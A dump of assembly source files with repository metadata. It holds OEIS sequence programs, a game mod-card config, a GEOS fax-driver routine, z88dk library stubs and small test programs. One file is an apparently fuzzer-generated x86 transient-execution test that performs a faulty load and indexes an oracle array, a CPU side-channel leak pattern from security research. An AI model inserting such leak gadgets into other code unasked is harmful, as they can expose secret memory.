; A094764: Trajectory of 7 under repeated application of the map n --> n + square excess of n. ; 7,10,11,13,17,18,20,24,32,39,42,48,60,71,78,92,103,106,112,124,127,133,145,146,148,152,160,176,183,197,198,200,204,212,228,231,237,249,273,290,291,293,297,305,321,353,382,403,406,412,424,448,455,469,497,510,536,543 mov $1,7 lpb $0 cal $1,94761 ; a(n) = n + (square excess of n). sub $0,1 lpe
43.777778
216
0.685279
b8e6b6c2f1c383673b8ec74eab8158adc70beab0
70
asm
Assembly
Release/TheDarkTower/examples/exports.package/exports.lib.asm
gbryant/the-dark-tower
455ceb0c00084c1546dae47297f0bf57ef90ea4f
[ "Apache-2.0" ]
3
2017-10-03T03:18:08.000Z
2020-03-30T00:49:17.000Z
Release/TheDarkTower/examples/exports.package/exports.lib.asm
gbryant/the-dark-tower
455ceb0c00084c1546dae47297f0bf57ef90ea4f
[ "Apache-2.0" ]
null
null
null
Release/TheDarkTower/examples/exports.package/exports.lib.asm
gbryant/the-dark-tower
455ceb0c00084c1546dae47297f0bf57ef90ea4f
[ "Apache-2.0" ]
null
null
null
@main @Export BranchLinkRegister blr @Import CarbonLib { Debugger }
70
70
0.771429
4410971e42648c5ac1dd7507a144d9e20a8ed7a5
566
asm
Assembly
programs/oeis/028/A028235.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/028/A028235.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/028/A028235.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A028235: If n = Product (p_j^k_j), a(n) = numerator of Sum 1/p_j (the denominator of this sum is A007947). ; 0,1,1,1,1,5,1,1,1,7,1,5,1,9,8,1,1,5,1,7,10,13,1,5,1,15,1,9,1,31,1,1,14,19,12,5,1,21,16,7,1,41,1,13,8,25,1,5,1,7,20,15,1,5,16,9,22,31,1,31,1,33,10,1,18,61,1,19,26,59,1,5,1,39,8,21,18,71,1,7,1,43,1,41,22,45,32,13,1,31,20,25,34,49,24,5,1,9,14,7 seq $0,7947 ; Largest squarefree number dividing n: the squarefree kernel of n, rad(n), radical of n. seq $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
94.333333
243
0.614841
fa26582b611f7c5ac2f559629373f19a3c2b6324
699
asm
Assembly
cards/bn4/ModCards/134-F008 MAX HP +900 (0E).asm
RockmanEXEZone/MMBN-Mod-Card-Kit
d591ddca5566dbb323dc19c11e69410fa4073d1b
[ "Unlicense" ]
10
2017-12-05T14:25:38.000Z
2022-02-21T04:28:00.000Z
cards/bn4/ModCards/134-F008 MAX HP +900 (0E).asm
RockmanEXEZone/MMBN-Mod-Card-Kit
d591ddca5566dbb323dc19c11e69410fa4073d1b
[ "Unlicense" ]
null
null
null
cards/bn4/ModCards/134-F008 MAX HP +900 (0E).asm
RockmanEXEZone/MMBN-Mod-Card-Kit
d591ddca5566dbb323dc19c11e69410fa4073d1b
[ "Unlicense" ]
null
null
null
.include "defaults_mod.asm" table_file_jp equ "exe4-utf8.tbl" table_file_en equ "bn4-utf8.tbl" game_code_len equ 3 game_code equ 0x4234574A // B4WJ game_code_2 equ 0x42345745 // B4WE game_code_3 equ 0x42345750 // B4WP card_type equ 1 card_id equ 98 card_no equ "098" card_sub equ "Mod Card 098" card_sub_x equ 64 card_desc_len equ 2 card_desc_1 equ "Address 0E" card_desc_2 equ "MAX HP +900" card_desc_3 equ "" card_name_jp_full equ "マックスHP+900" card_name_jp_game equ "マックスHP+900" card_name_en_full equ "MAX HP +900" card_name_en_game equ "MAX HP +900" card_address equ "0E" card_address_id equ 4 card_bug equ 0 card_wrote_en equ "MAX HP +900" card_wrote_jp equ "マックスHP+900"
25.888889
35
0.765379
ef86756069079aa06e237db9add898adaf55cdbc
686
asm
Assembly
oeis/196/A196000.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/196/A196000.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/196/A196000.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A196000: Numbers k such that 90*k + 19 is prime. ; Submitted by Jon Maiga ; 0,1,2,4,8,9,10,11,14,16,17,22,23,24,25,28,30,34,35,36,39,41,43,46,48,50,53,55,56,60,63,64,65,69,74,77,78,79,80,81,83,85,86,91,93,98,99,101,102,107,108,109,111,112,115,116,118,119,121,130,140,142,143,144,146,147,148,153,154,157,160,164,165,168,170,174,176,186,189,191,192,193,195,196,197,198,199,202,203,204,210,211,220,223,225,226,230,231,232,235 mov $1,9 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,45 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,50 div $0,45
28.583333
348
0.650146
19b2233cd7943c818aee209b12f52fe7d91be0ca
569
asm
Assembly
oeis/243/A243762.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/243/A243762.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/243/A243762.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A243762: 4*n^3 + 5. ; 1,5,9,37,113,261,505,869,1377,2053,2921,4005,5329,6917,8793,10981,13505,16389,19657,23333,27441,32005,37049,42597,48673,55301,62505,70309,78737,87813,97561,108005,119169,131077,143753,157221,171505,186629,202617,219493,237281,256005,275689,296357,318033,340741,364505,389349,415297,442373,470601,500005,530609,562437,595513,629861,665505,702469,740777,780453,821521,864005,907929,953317,1000193,1048581,1098505,1149989,1203057,1257733,1314041,1372005,1431649,1492997,1556073,1620901,1687505,1755909 sub $0,1 pow $0,3 add $0,1 mul $0,4 add $0,1
63.222222
500
0.803163
19e38e0f43672d76c5ebfa9acd10976bf0cb6e75
147
asm
Assembly
its/ue01.03/03.b.asm
florianm93/studium
21e40e053dfa3f30ab0b508c42c9d4827a312a50
[ "MIT" ]
null
null
null
its/ue01.03/03.b.asm
florianm93/studium
21e40e053dfa3f30ab0b508c42c9d4827a312a50
[ "MIT" ]
null
null
null
its/ue01.03/03.b.asm
florianm93/studium
21e40e053dfa3f30ab0b508c42c9d4827a312a50
[ "MIT" ]
null
null
null
mov eax, 4 mov ebx, 3 swap: mov ecx, eax mov eax, ebx mov ebx, ecx mov ecx, 0 ret call swap ;jmp exit ;exit: ;nop
8.166667
16
0.52381
d4e8134e62cf326758f96fdc3d1788943fac33a1
6,867
asm
Assembly
Driver/Printer/Fax/Group3/group3StartPage.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/Fax/Group3/group3StartPage.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/Fax/Group3/group3StartPage.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994. All rights reserved. GEOWORKS CONFIDENTIAL PROJECT: Pasta MODULE: Fax FILE: group3StartPage.asm AUTHOR: Jacob Gabrielson, Apr 7, 1993 ROUTINES: Name Description ---- ----------- INT PrintStartPage do stuff appropriate at the start of a page INT Group3CreateNewPage Makes a new page in the fax file INT Group3AddHeader Makes a swath using the Bitmap routines and appends that to the fax file REVISION HISTORY: Name Date Description ---- ---- ----------- jag 4/ 7/93 Initial revision AC 9/ 8/93 Changed for Group3 DESCRIPTION: $Id: group3StartPage.asm,v 1.1 97/04/18 11:52:59 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ idata segment faxHeaderPageString char "PAGE: ",0 faxHeaderPageStringIndex word 7 idata ends COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrintStartPage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: do stuff appropriate at the start of a page CALLED BY: DriverStrategy PASS: bp = PState segment RETURN: carry set on error DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jag 4/ 7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrintStartPage proc far uses bx, di, es .enter ; ; Start cursor out at top, left position (in PState) ; call PrintHomeCursor ; ; For Nike, we don't want to deal with printer error messages ; when spooling a fax. ; ; ; Allocate a page to the fax file ; call Group3CreateNewPage ; bx.di = HugeArray handle ; es = dgroup ; ; Put the header information on the top of the page. If the page ; count is one we do not have to add the header sice the FaxSpooler ; will take care of it. ; cmp es:[faxPageCount], 1 jle exit call Group3AddHeader exit: ; ; exit cleanly ; inc es:[faxPageCount] ; inc the page count clc ; "signify happiness" .leave ret PrintStartPage endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Group3CreateNewPage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Makes a new page in the fax file CALLED BY: PrintStartPage PASS: nothing RETURN: bx = VM file handle of the fax di = VM block handle of HugeArray bitmap es = dgroup DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- AC 9/13/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Group3CreateNewPage proc near uses ax, cx, dx .enter ; ; Use the faxfile library to create a new page in the fax file. ; mov ax, segment dgroup mov es, ax mov bx, es:[outputVMFileHan] mov ax, FAP_ADD_CREATE mov cx, FAX_PAGE_LAST ; append page call FaxFileInsertPage ; ; Save the handle so we can manipulate it later. ; mov es:[outputHugeArrayHan], dx mov di, dx .leave ret Group3CreateNewPage endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Group3AddHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Makes a swath using the Bitmap routines and appends that to the fax file CALLED BY: PrintStartPage PASS: bx = Fax file handle di = VM block handle of the new page bp = PState es = dgroup RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- AC 10/15/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Group3AddHeader proc near uses ax,bx,cx,dx,si,di,bp,ds .enter EC < call ECCheckDGroupES > push bx ; ; Create a bitmap to make the swath that we'll prepend. ; mov al, BMType <0, 1, 0, 1, BMF_MONO> mov cx, FAXFILE_HORIZONTAL_WIDTH ; ...in pixels mov ds, bp ; ds = PState mov bp, bx ; bp = faxfile handle clr bh mov bl, ds:[PS_mode] xchg bp, bx ; bx = file handle mov dx, cs:BandLengthTable[bp] clr di, si ; exposure OD call GrCreateBitmap ; ^vbx:ax = HugeArray ; di = gstate push ax ; save VM block handle ; ; Set the font & text style for the status line. ; mov cx, FAXFILE_TTL_FONT ; font to use mov dx, FAXFILE_TTL_FONT_SIZE clr ah ; dx:ah = font size call GrSetFont mov ax, FAXFILE_TTL_TEXT_STYLE call GrSetTextStyle ; ; Set the bitmap resolution. ; mov ax, FAX_X_RES mov bx, cs:FaxVerticalResolution[bp] call GrSetBitmapRes ; ; Draw the fax ID into the header. This ID is picked out of ; the job paramters block. ; mov ax, FAXFILE_TTL_FAX_ID_POS ; ax = x coord of text clr bx ; bx = y coord of text clr cx ; string is null term. ; ds:si = string to copy .warn -field lea si, ds:[PS_jobParams].JP_printerData.FFH_faxID call GrDrawText ; ; Draw the phone number into the header. Use the sender's ; fax # if any. Otherwise, use the voice # if any. ; lea si, ds:[PS_jobParams].JP_printerData.FFH_senderFax tst {byte}ds:[si] ; any fax #? jnz gotNumber lea si, ds:[PS_jobParams].JP_printerData.FFH_senderVoice gotNumber: mov ax, FAXFILE_TTL_FAX_PHONE_POS call GrDrawText .warn @field push di ; save gstate ; ; Make the page value. ; mov di, offset faxHeaderPageString mov si, di ; si needs this later add di, es:[faxHeaderPageStringIndex] mov cx, mask UHTAF_NULL_TERMINATE clr dx mov ax, es:[faxPageCount] ; dx:cx = # to convert call UtilHex32ToAscii ; cx = length ; ; Make sure the name doesn't exceed 3 digits. ; EC < cmp cx, MAX_PAGE_NUMBER_ASCII_LENGTH > EC < ERROR_A GROUP3_TOO_MANY_PAGES_IN_FAX > mov ax, FAXFILE_TTL_PAGE_COUNT_POS ; where to draw string clr bx pop di ; di = gstate segmov ds, es, cx ; ds:si = string clr cx ; null-terminated call GrDrawText ; ; Now we compress the scanlines and add them to the page. We ; do this by pretending we are a swath and call the PrintSwath ; routine. ; pop cx ; cx = vm block handle pop dx ; dx = file handle call PrintSwath ; ; Kill the window, gstate, & bitmap data, as they are no ; longer needed. ; clr ah mov al, BMD_KILL_DATA call GrDestroyBitmap .leave ret Group3AddHeader endp
22.009615
79
0.565749
63b07b49d95e1c3bbdee11e6626dbe7fb9fba301
440
asm
Assembly
libsrc/_DEVELOPMENT/stdlib/c/sdcc_iy/_random_uniform_xor_32__fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/stdlib/c/sdcc_iy/_random_uniform_xor_32__fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/stdlib/c/sdcc_iy/_random_uniform_xor_32__fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uint32_t _random_uniform_xor_32__fastcall(uint32_t *seed) SECTION code_clib SECTION code_stdlib PUBLIC __random_uniform_xor_32__fastcall EXTERN asm_random_uniform_xor_32, l_long_load_mhl, l_long_store_mhl __random_uniform_xor_32__fastcall: push hl call l_long_load_mhl ; dehl = seed call asm_random_uniform_xor_32 ld c,l ld b,h pop hl call l_long_store_mhl ld l,c ld h,b ret
15.714286
67
0.740909
8c51b3a7293d7dc357ca35b369d593d9558d64f9
297
asm
Assembly
8088/cga/capture/test_anim/test_anim.asm
reenigne/reenigne
c3eb8b31d7964e78bbe44908987d4be052a74488
[ "Unlicense" ]
92
2015-04-10T17:45:11.000Z
2022-03-30T17:58:51.000Z
8088/cga/capture/test_anim/test_anim.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
2
2017-11-05T07:21:35.000Z
2018-11-04T23:36:13.000Z
8088/cga/capture/test_anim/test_anim.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
18
2015-04-11T20:32:44.000Z
2021-11-06T05:19:57.000Z
%include "../../../defaults_bin.asm" initCGA 8 mov ax,0xb800 mov es,ax cld mov dx,0x3da mov bx,0x0f00 frameLoop: waitForVerticalSync dec dx mov al,15 out dx,ax xor di,di mov ax,bx mov cx,40*25 rep stosw inc bl mov al,0 out dx,ax inc dx jmp frameLoop
10.241379
38
0.622896
4e1a937fe6ae0b09d1d22b6c850c3a2bc84d4b34
524
asm
Assembly
oeis/061/A061190.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/061/A061190.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/061/A061190.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A061190: a(n) = n^n - n. ; 1,0,2,24,252,3120,46650,823536,16777208,387420480,9999999990,285311670600,8916100448244,302875106592240,11112006825558002,437893890380859360,18446744073709551600,827240261886336764160,39346408075296537575406,1978419655660313589123960,104857599999999999999999980,5842587018385982521381124400,341427877364219557396646723562,20880467999847912034355032910544,1333735776850284124449081472843752,88817841970012523233890533447265600,6156119580207157310796674288400203750 mov $1,$0 pow $0,$0 sub $0,$1
74.857143
465
0.885496
00797e4b0defeae91843cd228982e628f0b7f749
355
asm
Assembly
programs/oeis/212/A212985.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/212/A212985.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/212/A212985.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A212985: Number of (w,x,y) with all terms in {0,...,n} and 3w=3x+y. ; 1,2,3,7,9,11,18,21,24,34,38,42,55,60,65,81,87,93,112,119,126,148,156,164,189,198,207,235,245,255,286,297,308,342,354,366,403,416,429,469,483,497,540,555,570,616,632,648,697,714,731,783,801,819,874 mov $2,$0 sub $0,1 mov $1,$2 lpb $0,1 sub $0,3 add $1,$2 sub $2,1 lpe add $1,1
27.307692
198
0.639437
8c0507e59d7dd2455b65ffbe60f5ba6f212c3b33
254
asm
Assembly
libsrc/_DEVELOPMENT/adt/p_list/c/sccz80/p_list_remove.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/_DEVELOPMENT/adt/p_list/c/sccz80/p_list_remove.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/_DEVELOPMENT/adt/p_list/c/sccz80/p_list_remove.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; void *p_list_remove(p_list_t *list, void *item) SECTION code_clib SECTION code_adt_p_list PUBLIC p_list_remove EXTERN asm_p_list_remove p_list_remove: pop af pop hl pop bc push bc push hl push af jp asm_p_list_remove
11.545455
49
0.716535
7b5a932f4f198e1331bd01c0eaee0eebf0d9af67
4,934
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_1_1531.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_1_1531.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_1_1531.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x18262, %rdi nop nop nop add %rcx, %rcx and $0xffffffffffffffc0, %rdi vmovaps (%rdi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r15 cmp $30429, %r14 lea addresses_UC_ht+0xdafa, %rbp nop nop and $61172, %rdx mov $0x6162636465666768, %rsi movq %rsi, %xmm7 movups %xmm7, (%rbp) nop nop nop nop nop xor %rdx, %rdx lea addresses_UC_ht+0x10db2, %rcx nop and %rsi, %rsi mov $0x6162636465666768, %r15 movq %r15, %xmm4 vmovups %ymm4, (%rcx) nop nop and %r15, %r15 lea addresses_A_ht+0x10ec5, %r15 sub %rdi, %rdi movups (%r15), %xmm1 vpextrq $1, %xmm1, %rsi nop nop nop add $58132, %rcx lea addresses_A_ht+0xb27a, %rsi lea addresses_normal_ht+0x176fa, %rdi nop nop nop nop nop xor $41300, %r11 mov $87, %rcx rep movsb nop nop nop add %rcx, %rcx lea addresses_D_ht+0x155a, %rdi nop nop inc %rdx mov (%rdi), %si nop nop nop and %rsi, %rsi lea addresses_WC_ht+0x3bfa, %rsi lea addresses_A_ht+0x1869a, %rdi nop nop nop nop and $6802, %r11 mov $91, %rcx rep movsb nop nop and $58608, %r14 lea addresses_UC_ht+0x637a, %r15 nop nop nop nop add %r11, %r11 mov (%r15), %bp nop nop add %rdi, %rdi lea addresses_WC_ht+0x1cf5a, %rcx and $6184, %rbp mov (%rcx), %r11d nop nop nop nop nop cmp $40767, %rbp lea addresses_WC_ht+0x5152, %rdi nop nop nop sub $25828, %rsi mov (%rdi), %edx nop nop nop nop sub $28004, %rdx lea addresses_UC_ht+0x136fa, %r11 nop nop xor $56411, %rdi mov (%r11), %bp nop nop nop dec %rsi lea addresses_D_ht+0xb7fa, %rcx nop cmp %rdx, %rdx movw $0x6162, (%rcx) nop nop nop nop and $28808, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r8 push %r9 push %rax push %rbp push %rbx push %rcx push %rdx // Store lea addresses_WT+0x198fa, %rdx nop xor %rax, %rax movb $0x51, (%rdx) nop nop nop nop nop add $64323, %r8 // Store lea addresses_RW+0x5c7a, %r9 nop inc %rbp mov $0x5152535455565758, %rdx movq %rdx, %xmm3 movaps %xmm3, (%r9) nop sub %rcx, %rcx // Load lea addresses_D+0xe2fa, %r8 nop nop nop sub %rax, %rax mov (%r8), %rbp xor $27738, %rbx // Store lea addresses_US+0x4ffa, %r9 clflush (%r9) nop nop inc %rbp mov $0x5152535455565758, %rbx movq %rbx, %xmm3 vmovups %ymm3, (%r9) nop cmp $5584, %rbp // Faulty Load lea addresses_A+0x1aafa, %rbx nop nop and $30974, %rax mov (%rbx), %r8 lea oracles, %rcx and $0xff, %r8 shlq $12, %r8 mov (%rcx,%r8,1), %r8 pop %rdx pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r8 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_RW', 'congruent': 7}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 9}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_US', 'congruent': 3}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 2}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 1}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 0}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 5}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 9}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 8}, 'OP': 'STOR'} {'00': 1} 00 */
20.38843
151
0.643291
24e9edc1d70fd341df60256577eaf5eeffae8219
427
asm
Assembly
programs/oeis/119/A119346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/119/A119346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/119/A119346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A119346: Sequence of nim-values for the game in which two players alternately cut off one inch or root two inches from a piece of string of length n. Player who runs out of string loses. ; 0,1,2,0,1,0,1,2,0,1,0,1,2,0,1,0,1,0,1,2,0,1,0,1,2,0,1,0,1,0,1,2,0,1,0,1,2,0,1,0,1,2,0,1,0,1,0,1,2,0,1,0,1,2,0,1,0,1,0,1,2,0,1,0,1,2,0,1,0,1,2,0,1,0,1,0,1,2,0,1,0,1,2,0,1,0,1,0,1,2,0,1,0,1,2,0,1,0,1 mul $0,2 mod $0,29 mod $0,5 div $0,2
53.375
199
0.627635
3ccad7232f09255b1dffc70d51182b910c298096
1,013
asm
Assembly
programs/oeis/171/A171974.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/171/A171974.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/171/A171974.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
